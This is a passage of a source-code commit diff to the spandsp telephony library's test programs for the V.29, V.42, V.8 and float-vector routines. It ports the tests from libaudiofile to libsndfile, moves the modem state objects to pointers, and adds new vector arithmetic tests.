 /*- End of function --------------------------------------------------------*/
 
-static int v29_rx_status(void *user_data, int status)
+static void v29_rx_status(void *user_data, int status)
 {
     v29_rx_state_t *rx;
     int i;
@@ -159,7 +139,6 @@
 #endif
         break;
     }
-    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -181,10 +160,9 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static int v29_tx_status(void *user_data, int status)
+static void v29_tx_status(void *user_data, int status)
 {
     printf("V.29 tx status is %s (%d)\n", signal_status_to_str(status), status);
-    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -223,7 +201,7 @@
             qam_monitor_update_symbol_tracking(qam_monitor, v29_rx_symbol_timing_correction(rx));
         }
 #endif
-        printf("%8d [%8.4f, %8.4f] [%8.4f, %8.4f] %2x %8.4f %8.4f %9.4f %7.3f %7.2f\n",
+        printf("%8d [%8.4f, %8.4f] [%8.4f, %8.4f] %2x %8.4f %8.4f %9.4f %7.3f %7.4f\n",
                symbol_no,
                constel->re,
                constel->im,
@@ -265,13 +243,13 @@
 
 int main(int argc, char *argv[])
 {
-    v29_rx_state_t rx;
-    v29_tx_state_t tx;
+    v29_rx_state_t *rx;
+    v29_tx_state_t *tx;
     bert_results_t bert_results;
     int16_t gen_amp[BLOCK_LEN];
     int16_t amp[BLOCK_LEN];
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
     int outframes;
     int samples;
     int tep;
@@ -280,11 +258,12 @@
     int signal_level;
     int bits_per_test;
     int line_model_no;
-    int block;
+    int block_no;
     int log_audio;
     int channel_codec;
     int rbs_pattern;
     int opt;
+    logging_state_t *logging;
     
     channel_codec = MUNGE_CODEC_NONE;
     rbs_pattern = 0;
@@ -297,11 +276,19 @@
     signal_level = -13;
     bits_per_test = 50000;
     log_audio = FALSE;
-    while ((opt = getopt(argc, argv, "b:c:d:glm:n:r:s:t")) != -1)
+    while ((opt = getopt(argc, argv, "b:B:c:d:glm:n:r:s:t")) != -1)
     {
         switch (opt)
         {
         case 'b':
+            test_bps = atoi(optarg);
+            if (test_bps != 9600  &&  test_bps != 7200  &&  test_bps != 4800)
+            {
+                fprintf(stderr, "Invalid bit rate specified\n");
+                exit(2);
+            }
+            break;
+        case 'B':
             bits_per_test = atoi(optarg);
             break;
         case 'c':
@@ -342,52 +329,39 @@
             break;
         }
     }
-    argc -= optind;
-    argv += optind;
-    if (argc > 0)
-    {
-        if (strcmp(argv[0], "9600") == 0)
-            test_bps = 9600;
-        else if (strcmp(argv[0], "7200") == 0)
-            test_bps = 7200;
-        else if (strcmp(argv[0], "4800") == 0)
-            test_bps = 4800;
-        else
-        {
-            fprintf(stderr, "Invalid bit rate\n");
-            exit(2);
-        }
-    }
     inhandle = NULL;
     outhandle = NULL;
 
     if (log_audio)
     {
-        if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+        if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
     }
 
     if (decode_test_file)
     {
-        /* We will decode the audio from a wave file. */
-        if ((inhandle = afOpenFile_telephony_read(decode_test_file, 1)) == AF_NULL_FILEHANDLE)
+        /* We will decode the audio from a file. */
+        tx = NULL;
+        if ((inhandle = sf_open_telephony_read(decode_test_file, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot open wave file '%s'\n", decode_test_file);
+            fprintf(stderr, "    Cannot open audio file '%s'\n", decode_test_file);
             exit(2);
         }
     }
     else
     {
         /* We will generate V.29 audio, and add some noise to it. */
-        v29_tx_init(&tx, test_bps, tep, v29getbit, NULL);
-        v29_tx_power(&tx, signal_level);
-        v29_tx_set_modem_status_handler(&tx, v29_tx_status, (void *) &tx);
+        tx = v29_tx_init(NULL, test_bps, tep, v29getbit, NULL);
+        v29_tx_power(tx, signal_level);
+        v29_tx_set_modem_status_handler(tx, v29_tx_status, (void *) tx);
+#if defined(WITH_SPANDSP_INTERNALS)
         /* Move the carrier off a bit */
-        tx.carrier_phase_rate = dds_phase_ratef(1710.0f);
-        tx.carrier_phase = 0;
+        tx->carrier_phase_rate = dds_phase_ratef(1710.0f);
+        tx->carrier_phase = 0;
+#endif
 
         bert_init(&bert, bits_per_test, BERT_PATTERN_ITU_O152_11, test_bps, 20);
         bert_set_report(&bert, 10000, reporter, NULL);
@@ -399,14 +373,17 @@
         }
     }
 
-    v29_rx_init(&rx, test_bps, v29putbit, &rx);
-    v29_rx_signal_cutoff(&rx, -45.5f);
-    v29_rx_set_modem_status_handler(&rx, v29_rx_status, (void *) &rx);
-    v29_rx_set_qam_report_handler(&rx, qam_report, (void *) &rx);
+    rx = v29_rx_init(NULL, test_bps, v29putbit, NULL);
+    v29_rx_signal_cutoff(rx, -45.5f);
+    v29_rx_set_modem_status_handler(rx, v29_rx_status, (void *) rx);
+    v29_rx_set_qam_report_handler(rx, qam_report, (void *) rx);
+#if defined(WITH_SPANDSP_INTERNALS)
     /* Rotate the starting phase */
-    rx.carrier_phase = 0x80000000;
-    span_log_set_level(&rx.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_FLOW);
-    span_log_set_tag(&rx.logging, "V.29-rx");
+    rx->carrier_phase = 0x80000000;
+#endif
+    logging = v29_rx_get_logging_state(rx);
+    span_log_set_level(logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_FLOW);
+    span_log_set_tag(logging, "V.29-rx");
 
 #if defined(ENABLE_GUI)
     if (use_gui)
@@ -421,14 +398,11 @@
 #endif
 
     memset(&latest_results, 0, sizeof(latest_results));
-    for (block = 0;  ;  block++)
+    for (block_no = 0;  ;  block_no++)
     {
         if (decode_test_file)
         {
-            samples = afReadFrames(inhandle,
-                                   AF_DEFAULT_TRACK,
-                                   amp,
-                                   BLOCK_LEN);
+            samples = sf_readf_short(inhandle, amp, BLOCK_LEN);
 #if defined(ENABLE_GUI)
             if (use_gui)
                 qam_monitor_update_audio_level(qam_monitor, amp, samples);
@@ -438,7 +412,7 @@
         }
         else
         {
-            samples = v29_tx(&tx, gen_amp, BLOCK_LEN);
+            samples = v29_tx(tx, gen_amp, BLOCK_LEN);
 #if defined(ENABLE_GUI)
             if (use_gui)
                 qam_monitor_update_audio_level(qam_monitor, gen_amp, samples);
@@ -447,7 +421,7 @@
             {
                 /* Push a little silence through, to ensure all the data bits get out of the buffers */
                 memset(amp, 0, BLOCK_LEN*sizeof(int16_t));
-                v29_rx(&rx, amp, BLOCK_LEN);
+                v29_rx(rx, amp, BLOCK_LEN);
 
                 /* Note that we might get a few bad bits as the carrier shuts down. */
                 bert_result(&bert, &bert_results);
@@ -468,10 +442,12 @@
                 }
                 memset(&latest_results, 0, sizeof(latest_results));
                 signal_level--;
-                v29_tx_restart(&tx, test_bps, tep);
-                v29_tx_power(&tx, signal_level);
-                v29_rx_restart(&rx, test_bps, FALSE);
-                rx.eq_put_step = rand()%(48*10/3);
+                v29_tx_restart(tx, test_bps, tep);
+                v29_tx_power(tx, signal_level);
+                v29_rx_restart(rx, test_bps, FALSE);
+#if defined(WITH_SPANDSP_INTERNALS)
+                rx->eq_put_step = rand()%(48*10/3);
+#endif
                 bert_init(&bert, bits_per_test, BERT_PATTERN_ITU_O152_11, test_bps, 20);
                 bert_set_report(&bert, 10000, reporter, NULL);
                 one_way_line_model_release(line_model);
@@ -483,13 +459,10 @@
             }
             if (log_audio)
             {
-                outframes = afWriteFrames(outhandle,
-                                          AF_DEFAULT_TRACK,
-                                          gen_amp,
-                                          samples);
+                outframes = sf_writef_short(outhandle, gen_amp, samples);
                 if (outframes != samples)
                 {
-                    fprintf(stderr, "    Error writing wave file\n");
+                    fprintf(stderr, "    Error writing audio file\n");
                     exit(2);
                 }
             }
@@ -499,7 +472,7 @@
         if (use_gui  &&  !decode_test_file)
             line_model_monitor_line_spectrum_update(amp, samples);
 #endif
-        v29_rx(&rx, amp, samples);
+        v29_rx(rx, amp, samples);
     }
     if (!decode_test_file)
     {
@@ -521,11 +494,19 @@
     if (use_gui)
         qam_wait_to_end(qam_monitor);
 #endif
+    if (decode_test_file)
+    {
+        if (sf_close(inhandle))
+        {
+            fprintf(stderr, "    Cannot close audio file '%s'\n", decode_test_file);
+            exit(2);
+        }
+    }
     if (log_audio)
     {
-        if (afCloseFile(outhandle))
+        if (sf_close(outhandle))
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
     }

Modified: freeswitch/branches/seven/libs/spandsp/tests/v42_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/v42_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/v42_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v42_tests.c,v 1.25 2008/05/13 13:17:26 steveu Exp $
+ * $Id: v42_tests.c,v 1.28 2008/11/30 10:17:31 steveu Exp $
  */
 
 /* THIS IS A WORK IN PROGRESS. IT IS NOT FINISHED. */
@@ -42,6 +42,10 @@
 #include <string.h>
 #include <assert.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 v42_state_t caller;

Modified: freeswitch/branches/seven/libs/spandsp/tests/v42bis_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/v42bis_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/v42bis_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v42bis_tests.c,v 1.23 2008/05/13 13:17:27 steveu Exp $
+ * $Id: v42bis_tests.c,v 1.24 2008/11/15 14:43:08 steveu Exp $
  */
 
 /* THIS IS A WORK IN PROGRESS. IT IS NOT FINISHED. */
@@ -50,6 +50,8 @@
 
 #include "spandsp.h"
 
+#include "spandsp/private/v42bis.h"
+
 #define COMPRESSED_FILE_NAME        "v42bis_tests.v42bis"
 #define OUTPUT_FILE_NAME            "v42bis_tests.out"
 

Modified: freeswitch/branches/seven/libs/spandsp/tests/v8_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/v8_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/v8_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,16 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v8_tests.c,v 1.28 2008/08/29 09:28:13 steveu Exp $
+ * $Id: v8_tests.c,v 1.33 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \page v8_tests_page V.8 tests
 \section v8_tests_page_sec_1 What does it do?
 */
 
+/* Enable the following definition to enable direct probing into the internal structures */
+//#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include "config.h"
 #endif
@@ -38,8 +41,12 @@
 #include <fcntl.h>
 #include <unistd.h>
 #include <string.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -84,18 +91,19 @@
     int i;
     int16_t amp[SAMPLES_PER_CHUNK];
     int16_t out_amp[2*SAMPLES_PER_CHUNK];
-    v8_state_t v8_caller;
-    v8_state_t v8_answerer;
+    v8_state_t *v8_caller;
+    v8_state_t *v8_answerer;
     int outframes;
     int samples;
     int remnant;
     int caller_available_modulations;
     int answerer_available_modulations;
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
     int opt;
     char *decode_test_file;
-    
+    logging_state_t *logging;
+
     decode_test_file = NULL;
     while ((opt = getopt(argc, argv, "d:")) != -1)
     {
@@ -142,59 +150,58 @@
     
     if (decode_test_file == NULL)
     {
-        if ((outhandle = afOpenFile_telephony_write(OUTPUT_FILE_NAME, 2)) == AF_NULL_FILEHANDLE)
+        if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME, 2)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUTPUT_FILE_NAME);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_FILE_NAME);
             exit(2);
         }
     
-        v8_init(&v8_caller, TRUE, caller_available_modulations, handler, (void *) "caller");
-        v8_init(&v8_answerer, FALSE, answerer_available_modulations, handler, (void *) "answerer");
-        span_log_set_level(&v8_caller.logging, SPAN_LOG_FLOW | SPAN_LOG_SHOW_TAG);
-        span_log_set_tag(&v8_caller.logging, "caller");
-        span_log_set_level(&v8_answerer.logging, SPAN_LOG_FLOW | SPAN_LOG_SHOW_TAG);
-        span_log_set_tag(&v8_answerer.logging, "answerer");
+        v8_caller = v8_init(NULL, TRUE, caller_available_modulations, handler, (void *) "caller");
+        v8_answerer = v8_init(NULL, FALSE, answerer_available_modulations, handler, (void *) "answerer");
+        logging = v8_get_logging_state(v8_caller);
+        span_log_set_level(logging, SPAN_LOG_FLOW | SPAN_LOG_SHOW_TAG);
+        span_log_set_tag(logging, "caller");
+        logging = v8_get_logging_state(v8_answerer);
+        span_log_set_level(logging, SPAN_LOG_FLOW | SPAN_LOG_SHOW_TAG);
+        span_log_set_tag(logging, "answerer");
         for (i = 0;  i < 1000;  i++)
         {
-            samples = v8_tx(&v8_caller, amp, SAMPLES_PER_CHUNK);
+            samples = v8_tx(v8_caller, amp, SAMPLES_PER_CHUNK);
             if (samples < SAMPLES_PER_CHUNK)
             {
                 memset(amp + samples, 0, sizeof(int16_t)*(SAMPLES_PER_CHUNK - samples));
                 samples = SAMPLES_PER_CHUNK;
             }
-            remnant = v8_rx(&v8_answerer, amp, samples);
+            remnant = v8_rx(v8_answerer, amp, samples);
             for (i = 0;  i < samples;  i++)
                 out_amp[2*i] = amp[i];
             
-            samples = v8_tx(&v8_answerer, amp, SAMPLES_PER_CHUNK);
+            samples = v8_tx(v8_answerer, amp, SAMPLES_PER_CHUNK);
             if (samples < SAMPLES_PER_CHUNK)
             {
                 memset(amp + samples, 0, sizeof(int16_t)*(SAMPLES_PER_CHUNK - samples));
                 samples = SAMPLES_PER_CHUNK;
             }
-            if (v8_rx(&v8_caller, amp, samples)  &&  remnant)
+            if (v8_rx(v8_caller, amp, samples)  &&  remnant)
                 break;
             for (i = 0;  i < samples;  i++)
                 out_amp[2*i + 1] = amp[i];
     
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      out_amp,
-                                      samples);
+            outframes = sf_writef_short(outhandle, out_amp, samples);
             if (outframes != samples)
             {
-                fprintf(stderr, "    Error writing wave file\n");
+                fprintf(stderr, "    Error writing audio file\n");
                 exit(2);
             }
         }
-        if (afCloseFile(outhandle))
+        if (sf_close(outhandle))
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME);
             exit(2);
         }
         
-        v8_release(&v8_caller);
-        v8_release(&v8_answerer);
+        v8_free(v8_caller);
+        v8_free(v8_answerer);
         
         if (negotiations_ok != 2)
         {
@@ -206,24 +213,25 @@
     else
     {
         printf("Decode file '%s'\n", decode_test_file);
-        v8_init(&v8_answerer, FALSE, answerer_available_modulations, handler, (void *) "answerer");
-        span_log_set_level(&v8_answerer.logging, SPAN_LOG_FLOW | SPAN_LOG_SHOW_TAG);
-        span_log_set_tag(&v8_answerer.logging, "decoder");
-        if ((inhandle = afOpenFile_telephony_read(decode_test_file, 1)) == AF_NULL_FILEHANDLE)
+        v8_answerer = v8_init(NULL, FALSE, answerer_available_modulations, handler, (void *) "answerer");
+        logging = v8_get_logging_state(v8_answerer);
+        span_log_set_level(logging, SPAN_LOG_FLOW | SPAN_LOG_SHOW_TAG);
+        span_log_set_tag(logging, "decoder");
+        if ((inhandle = sf_open_telephony_read(decode_test_file, 1)) == NULL)
         {
             fprintf(stderr, "    Cannot open speech file '%s'\n", decode_test_file);
             exit (2);
         }
         /*endif*/
 
-        while ((samples = afReadFrames(inhandle, AF_DEFAULT_TRACK, amp, SAMPLES_PER_CHUNK)))
+        while ((samples = sf_readf_short(inhandle, amp, SAMPLES_PER_CHUNK)))
         {
-            remnant = v8_rx(&v8_answerer, amp, samples);
+            remnant = v8_rx(v8_answerer, amp, samples);
         }
         /*endwhile*/
 
-        v8_release(&v8_answerer);
-        if (afCloseFile(inhandle) != 0)
+        v8_free(v8_answerer);
+        if (sf_close(inhandle) != 0)
         {
             fprintf(stderr, "    Cannot close speech file '%s'\n", decode_test_file);
             exit(2);

Modified: freeswitch/branches/seven/libs/spandsp/tests/vector_float_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/vector_float_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/vector_float_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: vector_float_tests.c,v 1.10 2008/09/16 15:21:52 steveu Exp $
+ * $Id: vector_float_tests.c,v 1.13 2009/04/26 07:00:39 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -33,10 +33,245 @@
 #include <stdio.h>
 #include <fcntl.h>
 #include <string.h>
-#include <audiofile.h>
 
 #include "spandsp.h"
 
+static void vec_copyf_dumb(float z[], const float x[], int n)
+{
+    int i;
+    
+    for (i = 0;  i < n;  i++)
+        z[i] = x[i];
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_vec_copyf(void)
+{
+    int i;
+    float x[100];
+    float za[100];
+    float zb[100];
+
+    printf("Testing vec_copyf()\n");
+    for (i = 0;  i < 99;  i++)
+    {
+        x[i] = i;
+        za[i] = -1.0f;
+        zb[i] = -1.0f;
+    }
+    vec_copyf_dumb(za + 3, x + 1, 0);
+    vec_copyf(zb + 3, x + 1, 0);
+    for (i = 0;  i < 99;  i++)
+    {
+        if (za[i] != zb[i])
+        {
+            printf("vec_copyf() - %d %f %f\n", i, za[i], zb[i]);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    vec_copyf_dumb(za + 3, x + 1, 1);
+    vec_copyf(zb + 3, x + 1, 1);
+    for (i = 0;  i < 99;  i++)
+    {
+        if (za[i] != zb[i])
+        {
+            printf("vec_copyf() - %d %f %f\n", i, za[i], zb[i]);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    vec_copyf_dumb(za + 3, x + 1, 29);
+    vec_copyf(zb + 3, x + 1, 29);
+    for (i = 0;  i < 99;  i++)
+    {
+        if (za[i] != zb[i])
+        {
+            printf("vec_copyf() - %d %f %f\n", i, za[i], zb[i]);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void vec_negatef_dumb(float z[], const float x[], int n)
+{
+    int i;
+    
+    for (i = 0;  i < n;  i++)
+        z[i] = -x[i];
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_vec_negatef(void)
+{
+    int i;
+    float x[100];
+    float za[100];
+    float zb[100];
+
+    printf("Testing vec_negatef()\n");
+    for (i = 0;  i < 99;  i++)
+    {
+        x[i] = i;
+        za[i] = -1.0f;
+        zb[i] = -1.0f;
+    }
+    vec_negatef_dumb(za + 3, x + 1, 0);
+    vec_negatef(zb + 3, x + 1, 0);
+    for (i = 0;  i < 99;  i++)
+    {
+        if (za[i] != zb[i])
+        {
+            printf("vec_negatef() - %d %f %f\n", i, za[i], zb[i]);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    vec_negatef_dumb(za + 3, x + 1, 1);
+    vec_negatef(zb + 3, x + 1, 1);
+    for (i = 0;  i < 99;  i++)
+    {
+        if (za[i] != zb[i])
+        {
+            printf("vec_megatef() - %d %f %f\n", i, za[i], zb[i]);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    vec_negatef_dumb(za + 3, x + 1, 29);
+    vec_negatef(zb + 3, x + 1, 29);
+    for (i = 0;  i < 99;  i++)
+    {
+        if (za[i] != zb[i])
+        {
+            printf("vec_negatef() - %d %f %f\n", i, za[i], zb[i]);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void vec_zerof_dumb(float z[], int n)
+{
+    int i;
+    
+    for (i = 0;  i < n;  i++)
+        z[i] = 0.0f;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_vec_zerof(void)
+{
+    int i;
+    float za[100];
+    float zb[100];
+
+    printf("Testing vec_zerof()\n");
+    for (i = 0;  i < 99;  i++)
+    {
+        za[i] = -1.0f;
+        zb[i] = -1.0f;
+    }
+    vec_zerof_dumb(za + 3, 0);
+    vec_zerof(zb + 3, 0);
+    for (i = 0;  i < 99;  i++)
+    {
+        if (za[i] != zb[i])
+        {
+            printf("vec_zerof() - %d %f %f\n", i, za[i], zb[i]);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    vec_zerof_dumb(za + 3, 1);
+    vec_zerof(zb + 3, 1);
+    for (i = 0;  i < 99;  i++)
+    {
+        if (za[i] != zb[i])
+        {
+            printf("vec_zerof() - %d %f %f\n", i, za[i], zb[i]);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    vec_zerof_dumb(za + 3, 29);
+    vec_zerof(zb + 3, 29);
+    for (i = 0;  i < 99;  i++)
+    {
+        if (za[i] != zb[i])
+        {
+            printf("vec_zerof() - %d %f %f\n", i, za[i], zb[i]);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void vec_setf_dumb(float z[], float x, int n)
+{
+    int i;
+    
+    for (i = 0;  i < n;  i++)
+        z[i] = x;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_vec_setf(void)
+{
+    int i;
+    float za[100];
+    float zb[100];
+
+    printf("Testing vec_setf()\n");
+    for (i = 0;  i < 99;  i++)
+    {
+        za[i] = -1.0f;
+        zb[i] = -1.0f;
+    }
+    vec_setf_dumb(za + 3, 42.0f, 0);
+    vec_setf(zb + 3, 42.0f, 0);
+    for (i = 0;  i < 99;  i++)
+    {
+        if (za[i] != zb[i])
+        {
+            printf("vec_setf() - %d %f %f\n", i, za[i], zb[i]);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    vec_setf_dumb(za + 3, 42.0f, 1);
+    vec_setf(zb + 3, 42.0f, 1);
+    for (i = 0;  i < 99;  i++)
+    {
+        if (za[i] != zb[i])
+        {
+            printf("vec_setf() - %d %f %f\n", i, za[i], zb[i]);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    vec_setf_dumb(za + 3, 42.0f, 29);
+    vec_setf(zb + 3, 42.0f, 29);
+    for (i = 0;  i < 99;  i++)
+    {
+        if (za[i] != zb[i])
+        {
+            printf("vec_setf() - %d %f %f\n", i, za[i], zb[i]);
+            printf("Tests failed\n");
+            exit(2);
+        }
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
 static double vec_dot_prod_dumb(const double x[], const double y[], int n)
 {
     int i;
@@ -58,6 +293,7 @@
     double zsb;
     double ratio;
 
+    printf("Testing vec_dot_prod()\n");
     for (i = 0;  i < 99;  i++)
     {
         x[i] = rand();
@@ -100,6 +336,7 @@
     float zsb;
     float ratio;
 
+    printf("Testing vec_dot_prodf()\n");
     for (i = 0;  i < 99;  i++)
     {
         x[i] = rand();
@@ -121,10 +358,292 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static void vec_addf_dumb(float z[], const float x[], const float y[], int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+        z[i] = x[i] + y[i];
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_vec_addf(void)
+{
+    int i;
+    int j;
+    float x[100];
+    float y[100];
+    float zsa[100];
+    float zsb[100];
+    float ratio;
+
+    printf("Testing vec_addf()\n");
+    for (i = 0;  i < 99;  i++)
+    {
+        x[i] = rand();
+        y[i] = rand();
+    }
+    for (i = 1;  i < 90;  i++)
+    {
+        /* Force address misalignment, to check this works OK */
+        vec_addf(zsa + 1, x + 1, y + 1, i);
+        vec_addf_dumb(zsb + 1, x + 1, y + 1, i);
+        for (j = 1;  j <= i;  j++)
+        {
+            ratio = zsa[j]/zsb[j];
+            if (ratio < 0.9999f  ||  ratio > 1.0001f)
+            {
+                printf("vec_mulf() - %d %e %e\n", j, zsa[j], zsb[j]);
+                printf("Tests failed\n");
+                exit(2);
+            }
+        }
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void vec_subf_dumb(float z[], const float x[], const float y[], int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+        z[i] = x[i] - y[i];
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_vec_subf(void)
+{
+    int i;
+    int j;
+    float x[100];
+    float y[100];
+    float zsa[100];
+    float zsb[100];
+    float ratio;
+
+    printf("Testing vec_subf()\n");
+    for (i = 0;  i < 99;  i++)
+    {
+        x[i] = rand();
+        y[i] = rand();
+    }
+    for (i = 1;  i < 90;  i++)
+    {
+        /* Force address misalignment, to check this works OK */
+        vec_subf(zsa + 1, x + 1, y + 1, i);
+        vec_subf_dumb(zsb + 1, x + 1, y + 1, i);
+        for (j = 1;  j <= i;  j++)
+        {
+            ratio = zsa[j]/zsb[j];
+            if (ratio < 0.9999f  ||  ratio > 1.0001f)
+            {
+                printf("vec_mulf() - %d %e %e\n", j, zsa[j], zsb[j]);
+                printf("Tests failed\n");
+                exit(2);
+            }
+        }
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void vec_mulf_dumb(float z[], const float x[], const float y[], int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+        z[i] = x[i]*y[i];
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_vec_mulf(void)
+{
+    int i;
+    int j;
+    float x[100];
+    float y[100];
+    float zsa[100];
+    float zsb[100];
+    float ratio;
+
+    printf("Testing vec_mulf()\n");
+    for (i = 0;  i < 99;  i++)
+    {
+        x[i] = rand();
+        y[i] = rand();
+    }
+    for (i = 1;  i < 90;  i++)
+    {
+        /* Force address misalignment, to check this works OK */
+        vec_mulf(zsa + 1, x + 1, y + 1, i);
+        vec_mulf_dumb(zsb + 1, x + 1, y + 1, i);
+        for (j = 1;  j <= i;  j++)
+        {
+            ratio = zsa[j]/zsb[j];
+            if (ratio < 0.9999f  ||  ratio > 1.0001f)
+            {
+                printf("vec_mulf() - %d %e %e\n", j, zsa[j], zsb[j]);
+                printf("Tests failed\n");
+                exit(2);
+            }
+        }
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+#define LMS_LEAK_RATE 0.9999f
+
+static void vec_lmsf_dumb(const float x[], float y[], int n, float error)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+    {
+        /* Leak a little to tame uncontrolled wandering */
+        y[i] = y[i]*LMS_LEAK_RATE + x[i]*error;
+    }
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_vec_lmsf(void)
+{
+    int i;
+    int j;
+    float x[100];
+    float ya[100];
+    float yb[100];
+    float ratio;
+
+    printf("Testing vec_lmsf()\n");
+    for (i = 0;  i < 99;  i++)
+    {
+        x[i] = rand();
+        ya[i] =
+        yb[i] = rand();
+    }
+    for (i = 1;  i < 99;  i++)
+    {
+        vec_lmsf(x, ya, i, 0.1f);
+        vec_lmsf_dumb(x, yb, i, 0.1f);
+        for (j = 0;  j < i;  j++)
+        {
+            ratio = ya[j]/yb[j];
+            if (ratio < 0.9999f  ||  ratio > 1.0001f)
+            {
+                printf("vec_lmsf() - %d %e %e\n", j, ya[j], yb[j]);
+                printf("Tests failed\n");
+                exit(2);
+            }
+        }
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void vec_scaledxy_addf_dumb(float z[], const float x[], float x_scale, const float y[], float y_scale, int n)
+{
+    int i;
+
+    for (i = 0;  i < n;  i++)
+        z[i] = x[i]*x_scale + y[i]*y_scale;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_vec_scaledxy_addf(void)
+{
+    int i;
+    int j;
+    float x[100];
+    float y[100];
+    float za[100];
+    float zb[100];
+    float ratio;
+
+    printf("Testing vec_scaledxy_addf()\n");
+    for (i = 0;  i < 99;  i++)
+    {
+        x[i] = rand();
+        y[i] = rand();
+    }
+    for (i = 1;  i < 99;  i++)
+    {
+        vec_scaledxy_addf(za, x, 2.5f, y, 1.5f, i);
+        vec_scaledxy_addf_dumb(zb, x, 2.5f, y, 1.5f, i);
+        for (j = 0;  j < i;  j++)
+        {
+            ratio = za[j]/zb[j];
